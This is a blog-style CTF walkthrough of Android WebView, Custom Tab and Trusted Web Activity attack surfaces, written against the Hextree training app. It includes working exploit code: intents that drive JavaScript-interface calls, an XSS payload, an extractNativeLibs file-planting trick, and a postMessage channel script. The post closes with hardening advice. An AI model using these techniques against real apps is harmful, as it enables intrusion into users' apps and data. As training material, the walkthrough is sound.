What is a WebView?#
We know that android applications can interact with websites by using an intent with ACTION.VIEW
and a URL which will start a browser and load a website. Sometimes just opening a website isn’t enough though and android provides WebViews and CustomTabs to try and make more complex interaction possible. WebViews are generally used when a website is embedded into an application, especially when there is a lot of crossover between the website’s JavaScript and the Java app code. In fact, in the past this interface was regarded as so insecure that you could achieve full arbitrary Java code execution - but this has not been an issue in modern android for quite some time. For CustomTabs, the website is not embedded within the app itself and the app communicates with a browser app (usually chrome) and renders the site in a overlay over the app. CustomTabs are also much more limited in the types of interaction which of course helps minimize the attack surface.
Let’s examine WebViews form a developer perspective. In our simple app we can add one to the activity_main.xml
and see that it is treated like any other UI component.
<WebView
android:id="@+id/big_webview"
android:layout_width="match_parent"
android:layout_height="match_parent">
</WebView>
We can then reference the WebView element in our code and we can load a URL into it:
public void onClick(View v){
WebView webview = findViewById(R.id.half_webview);
webview.loadUrl("https://gaberoy.zip");
}
Make sure that your app uses internet permissions:
<uses-permission android:name="android.permission.INTERNET"/>
We can load the app and see that it works as expected:
This is a small, embedded browser that you can interact with in most of the ways you would any other browser app. The interesting thing about this little browser window is that in Android Studio it should be a debug build of chrome and that means that we can connect to it from our browser and debug it like you might for another web application:
This is pretty useful for us as a developer, but most apps in the play store are build in release mode and have setWebContentsDebuggineEnabled
set to false
. However some apps will intentionally enable debugging regardless, so it is always worth it to check and verify that the feature is disabled - this isn’t a vulnerability really but it can be helpful.
Many mobile apps are completely developed around WebViews and frameworks like Cordova are designed to basically map web development onto Java app development by making use of the features of WebViews. Apps that are basically a WebView of a website will usually have a main activity that just loads a URL and most of the native code will be related to the framework that the developers used to port the web app over into a mobile app. Therefore, most of the actual application logic will be in the /assets
folder when you decompile - where you should be able to find the relevant HTML, JS, and CSS files that make up the web application.
Accessing Local Files#
Loading a WebView from a remote URL is interesting, but what about when we want to stand up a website from inside the app itself? For example if your app is build around a WebView and you have no internet connection, the app would completely fail to function.
In Android Studio, if you create an /assets
directory, WebViews have built-in features to load files from that folder. Here is how the implementation would look:
Can we use WebViews to load or steal any app internal files?
Keep in mind that the index.html
file is within the /assets
directory which is packaged into the APK, so this tells us that WebViews can read files from inside the APK. If we were to move the index.html
file to the application directory and try to call it, we would typically get an access denied error.
However, if we set that webview.getSettings().setAllowFileAccess()
to true
, we should be able to actually load the file from the application storage. Other functions to look out for under WebView settings are:
setAllowContentAccess()
- controlling the loading of content URIs, this is true by defaultsetAllowFileAccessFromFileURLs()
- controls the loading of files from file URLssetAllowUniversalAccessFromFileURLs()
- controls the loading and access of file URLs
These above methods were deprecated in API level 30 though. And it should be noted that file:///android_asset/
is considered outdated and Android officially recommends to use an AssetLoader instead.
The reason a developer might use internal storage over the assets folder, is that in order to update the web pages, the developer would need to repackage the app if using the assets folder in the APK. If the developer is using internal storage, they could build in some functionality in the app that downloads and replaces those files every so often to keep them up to date.
WebView Misconfigurations#
Flag 38 - @JavaScriptInterface#
One of the most powerful featured of embedded WebViews is that we can create a bridge between JavaScript in the WebView and the Java running natively within the android app. This activity we are targeting has two buttons within a WebView, one that displays a toast message and the other that is related to getting the flag.
We know from the manifest (not pictured) that this Flag38WebViewsActivity
is exported and we should be able to call it externally. In the code we can see that the JsObject
method contains the two buttons that perform the logical operations as expected. If we look farther, we can see that the activity can take an intent with a string extra ("URL"
) and it will pass that through to the webView.loadUrl()
function. We can also see that .setJavaScriptEnabled()
is set to true, so we shouldn’t have issues if the URL we feed the app has JS present.
The reason we know we can interact with this native functionality is because of the @JavaScriptInterface
annotations, as this then allows those methods to be exposed in line 57 with webView.addJavascriptInterface(new JsObject(), "hextree");
- this is why the app is actually able to execute the JavaScript (to my understanding). This doesn’t mean that addJavaScriptInterface
is some super sensitive method (before Android 4 is a different story), because it also needs to have the @JavaScriptInterface
annotation.
We can see how the buttons are used in the /assets/flag38.html
file and it seems pretty straight forward. All we need to do is send an intent that points to some web page that will execute hextree.success
. You can stand up your server however you like - I just added a page to my blog because there shouldn’t be any SSL errors there, the page was as follows:
<!DOCTYPE html>
<html>
<head>
<title>test</title>
</head>
<body>
<button onclick = "gabe()"></button>
<script>
function gabe() {
hextree.success(true);
}
</script>
</body>
</html>
So now we just need to modify our exploit app like so:
public void onClick(View v){
Intent flag38 = new Intent();
flag38.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.webviews.Flag38WebViewsActivity");
flag38.putExtra("URL","https://www-7vo2a4qpholwc.hexbirch.com/test.html");
startActivity(flag38);
}
Now when we click the button it will open the target app and its WebView to our page where we can click our HTML button and execute the JavaScript:
Alternatively, you could get the same output by using the data URI like this:
flag38.putExtra("URL","data:text/html,<script>hextree.success(true)</script>");
Flag 39 - XSS in WebViews#
As you might expect, if an input you can control is passed to a sink that can execute JavaScript, you might be able to exploit some cross-site scripting within a WebView. Below we can examine the code:
Knowing this, we can just craft another intent that includes a XSS payload:
public void onClick(View v){
Intent flag38 = new Intent();
flag38.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.webviews.Flag39WebViewsActivity");
flag38.putExtra("NAME","Gabe <img src=x onerror=alert(hextree.success())>");
startActivity(flag38);
}
This payload took me a little bit of time tinkering with it to make sure it escaped the tags that were present, but it appears to have worked:
Flag 40 - Same Origin Policy Settings#
WebViews render websites, so we need to think about other client-side browser exploits, and one to take note of is the Same-Origin Policy (SOP). This is covered in another blog post here but to summarize, the SOP restricts how a document or script that is loaded by one origin can interact with some resource from another origin.
So, do WebViews behave the same way?
To answer this question, we need to examine some functions that are able to be used when developing an application. We have already seen setJavaScriptEnabled()
, but there are a few more to keep in mind:
setAllowContentAccess()
: Enables or disables content URL access within a WebViewsetAllowFileAccess()
: Enables or disables file access within a WebViewsetAllowFileAccessFromFileURLs()
: Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from other file scheme URLs. (This method has been deprecated since API level 30).setAllowUniversalAccessFromFileURLs()
: Sets whether cross-origin requests in the context of a file scheme URL should be allowed to access content from any origin. (This method has been deprecated since API level 30).
The course on hextree that this blog series is based off of has a handy app that we can use to try and better understand how these different features play together in WebViews.
At the top of the activity, we see the URL of the current website, displayed using window.location.origin
- showing us what the browser considers to be the origin of this page. Next you can see that the page embeds five different iframes
: two websites, a local file, a full path to a file, and a content URI. Already in this screenshot we can see which origins can be loaded into an iframe
and the only one that isn’t available is the full file path, which would require the setAllowFileAccess()
method to be set to true.
The interesting thing here is the four lines next to the iframe
, the first one isn’t that interesting but the other three are:
iframe.contentDocument
: Read out the content document of theiframe
and show itfetch(url)
: Fetch call to the URL and attempt to read the dataXMLHttpRequest()
: Similar tofetch()
but different in a few ways
For example if the page we are accessing is a file URL and setAllowFileAccessFromFileURLs()
is set to true, we would have access to the files with an XHR request - meaning that if we can inject malicious JS into a file://
URI, or load that malicious file directly we could steal the contents of any accessible files.
This is complicated and there is more than one way to exploit this outlined here. Basically, Android 11 and above use scoped storage to limit access to application directories by other applications. I opted to use the extractNativeLibs trick that takes advantage of strange behavior that allows you to bypass that restrictions and write malicious .html
files into publicly accessible folders of the application directory.
The way you can do this is by first setting the extractNativeLibs
attribute to true in the manifest:
<application
...
android:extractNativeLibs="true"
... >
</application>
Then, you want to create a resources/lib.{Arcitecture-Type}/
directory in your malicious application’s /src/main
folder, copy your malicious .html
file into that folder.
Next, build the app as an APK in debug mode and then upon installation, the malicious.html
file will be written to the getApplicationInfo().nativeLibraryDir
directory, where it can then be loaded into a WebView as long as the setAllowFileAccess()
parameter is set to true for that WebView. All my main activity does is get that path once the activity is started and once the button is clicked, the app sends the intent to the target activity where we can get the file to load and execute the authCallback()
method and get us the flag:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
EdgeToEdge.enable(this);
setContentView(R.layout.activity_main);
File nativeLibDir = new File(getApplicationInfo().nativeLibraryDir);
String maliciousFilePath = "file://" + nativeLibDir.getAbsolutePath() + "/malicious.html";
Log.e("test","Path: "+ maliciousFilePath.toString());
((Button) findViewById(R.id.btn_1)).setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
// Construct the intent that opens the webview to our malicious path
Intent flag40 = new Intent();
flag40.setClassName("io.hextree.attacksurface",
"io.hextree.attacksurface.webviews.Flag40WebViewsActivity");
flag40.putExtra("URL", maliciousFilePath);
startActivity(flag40);
}
});
///SNIP///
});
}
Then, if all was done correctly you should have a working exploit. You may have to fiddle around with the name of the folder inside /src/main/resources/
as for my specific emulator (Android 14 - UpsideDownCake - x86_64) I needed to use lib.x86_64
for the directory name.
WebView Intent Handling#
Intent URIs are not natively supported within WebViews - which may seem strange because we have already observed the ability to have Chrome send intents from web pages. In order for developers to get intents working within their WebView, they might implement their own logic and depending on how that developer chooses to implement it, the app could be vulnerable.
One example of custom code to handle intent://
URIs is here:
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (url.startsWith("intent://")) {
try {
Context context = view.getContext();
Intent intent = Intent.parseUri(url, Intent.URI_INTENT_SCHEME);
if (intent != null) {
view.stopLoading();
PackageManager packageManager = context.getPackageManager();
ResolveInfo info = packageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
if (info != null) {
context.startActivity(intent);
} else {
String fallbackUrl = intent.getStringExtra("browser_fallback_url");
view.loadUrl(fallbackUrl);
// or call external broswer
//Intent browserIntent = new Intent(Intent.ACTION_VIEW, Uri.parse(fallbackUrl));
//context.startActivity(browserIntent);
}
return true;
}
} catch (URISyntaxException e) {
if (GeneralData.DEBUG) {
Log.e(TAG, "Can't resolve intent://", e);
}
}
}
return false;
}
This shouldOverrideUrlLoading()
method is useful if you want to give the host application a chance to take control before a URL is about to be loaded into the WebView - in the above code, if the incoming URL begins with intent://
, then a new intent will be created and passed to startActivity
. Meaning that we can target non-exported activities because this new intent would effectively be coming from the app itself.
Custom Tabs#
Custom Tabs are those times where you click a link and a mini-browser opens within the app itself, (this sounds a lot like WebViews) but the main difference from WebViews is that Custom Tabs are not UI elements and they rely on a browser installed on the device to provide the interface and functionality.
The implementation for this is fairly simple:
When we look deeper at the CustomTabsIntent.java
file, we can see that the launchUrl
method uses an intent and some extra data put through the startActivity()
method, where the activity being started is the browser you have configured to handle custom tabs. This is important because it distinguishes itself from WebViews because Custom Tabs were originally launched by Chrome and are more a part of the browser than a part of the app using the custom tab.
This difference between the two naturally affects how you ought to think about their attack surfaces. Generally Custom Tabs are safer, because the tab can’t access any providers or files owned by the app and for that reason, Google typically recommends the use of Custom Tabs over WebViews. While apps cannot expose native Java methods in Custom Tabs, apps can still setup a postMessage()
communication which could be exploited in similar ways.
Custom Tabs are able to verify their origin, which gives them a few more capabilities - one example of this being the ability to add additional headers to requests going to the browser in a custom tab. One of the other functionalities of an app with a verified origin is the ability to communicate using postMessage()
. This verification process is done by creating a digital asset link. Here is an example of what one might look like:
[
{
"relation":[
"delegate_permission/common.handle_all_urls",
"delegate_permission/common.get_login_creds",
"delegate_permission/common.use_as_origin"
],
"target":{
"namespace":"android_app",
"package_name":"io.hextree.webviews",
"sha256_cert_fingerprints":[
"A0:FB:DE:39:E5:71:38:5D:67:F5:E5:6E:44:C2:04:9C:76:24:E7:3D:35:48:EA:A3:5F:95:4C:61:58:E1:EE:BA",
"65:C0:A5:EF:DB:72:0A:64:8A:98:79:26:51:0A:19:C8:16:4C:18:FC:9B:2B:98:FE:EA:67:67:41:18:22:53:47"
]
}
}
]
This above JSON allows a website (in this case: https://oak.hackstree.io
) to declare that it is associated with a specific android app, and above we see that the io.hextree.webviews
and io.hextree.attacksurface
app are allowed to perform the validation process and gain access to those other functionalities.
The thing about this though is that it is one-way verification, the website is always the one declaring its relationship with the app, so you can create a malicious website and say that any other app is allowed to use its own origin - you could use this to see if apps send any special headers your way.
Flag41 - CustomTabs PostMessage#
Let’s examine the app’s default behavior:
The site seems to let us sync some data between the site itself and the app that started the custom tab. If you inspect the page you will be able to see that it registers an event listener for messages, specifying that the first message needs to contain a port - which just represents a channel that will be used for communications.
There is then an init
message sent by the app which is used to enable the sync button. We can also see how those responses work, but what we want is the flag so let’s look at the code.
We see that sending the message with success
should allow us to read the flag. We can also control the URL that is used to open the Custom Tab:
The thing here that makes this act different is that postMessage()
is meant to be sent across origins, so even though this app verified its own origin (which you can see in the code, it just isn’t pictured here) it doesn’t stop the app from establishing a channel with another origin that has no checks.
So, all we need to do is write some JavaScript that opens a port with the app and begins communicating with it - then we can send whatever messages we need to in order to get the flag.
<script>
let ports = [];
let portCount = 0;
const messageContainer = document.getElementById("message-container");
const sendMessageButton = document.getElementById("send-message");
window.addEventListener("message", function (event) {
if (!event.ports || event.ports.length === 0) return;
const port = event.ports[0];
if (ports.includes(port)) return;
ports.push(port);
const portIndex = portCount++;
function postMessageToApp(msg) {
const msgDiv = document.createElement("div");
msgDiv.textContent = `[web] ${msg}`;
messageContainer.appendChild(msgDiv);
port.postMessage(msg);
}
port.onmessage = function(event) {
const msgDiv = document.createElement("div");
try {
msgDiv.textContent = `[app] ${JSON.stringify(JSON.parse(event.data), null, 2)}`;
} catch (e) {
msgDiv.textContent = `[app] ${event.data}`;
}
messageContainer.appendChild(msgDiv);
};
postMessageToApp(JSON.stringify({ message: "init_complete" }));
setTimeout(() => postMessageToApp(JSON.stringify({ message: "success" })), 3000);
});
sendMessageButton.addEventListener("click", () => {
window.postMessage({ message: "test" }, "*");
});
</script>
We just need to make an intent that has our attacker-controlled URL and a path to this HTML page in order for the Flag41Activity
custom tab to open it:
public void onClick(View v) {
Intent intent = new Intent();
intent.setClassName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag41Activity");
intent.putExtra("URL", "https://your-attacker-site/malicious.html"); // Replace with your desired URL
startActivity(intent);
}
Then you should be all cleared to start the app, press the button and watch the magic:
Again, this works because of the one-way functionality of verifying these features, our attacker website doesn’t restrict the loading of arbitrary origins, so we can load one from this app’s origin just fine.
Trusted Web Activities#
Trusted Web Activities are another way to integrate web content into an Android app. These seem a bit confusing, but TWAs are also just reliant on Custom Tabs to an extent. These are meant to simplify the process of developing web-heavy android applications, allowing developers to make apps that are essentially wrappers around websites with less effort.
An interesting detail is that the default TWA LauncherActivity
gets the URL from an incoming intent. Which means most TWA apps can be forced to open an arbitrary URL:
// example app: https://github.com/revoltchat/android
Intent intet = new Intent();
intent.setClassName("chat.revolt.app.twa", "chat.revolt.app.twa.LauncherActivity");
intent.setData(Uri.parse("https://oak.hackstree.io/android/webview/pwn.html"));
startActivity();
Just be mindful that by itself this is not a security issue. Custom Tabs simply open the URL in the default browser, that is not much different from sending a VIEW
intent to the browser directly anyways. However, if the app implements any additional custom features then you should take a closer look.
Conclusion#
For managing your attack surface, try to stick to these general guidelines:
WebViews:
- Disable JavaScript if not needed
- Use
setAllowFileAccess()
andsetAllowFileAccessFromFileURLs()
to prevent access to local files. - Ensure only trusted URLs are loaded in the WebView.
- If using
evaluateJavascript()
, sanitize any input to prevent injection attacks. CustomTabs and Trusted Web Activities: - Ensure only trusted URLs are opened in Custom Tabs.
- Leverage
CustomTabsSession
to establish a secure connection and validate the origin of the content. - Tightly scope in allowed origins using Digital Asset Links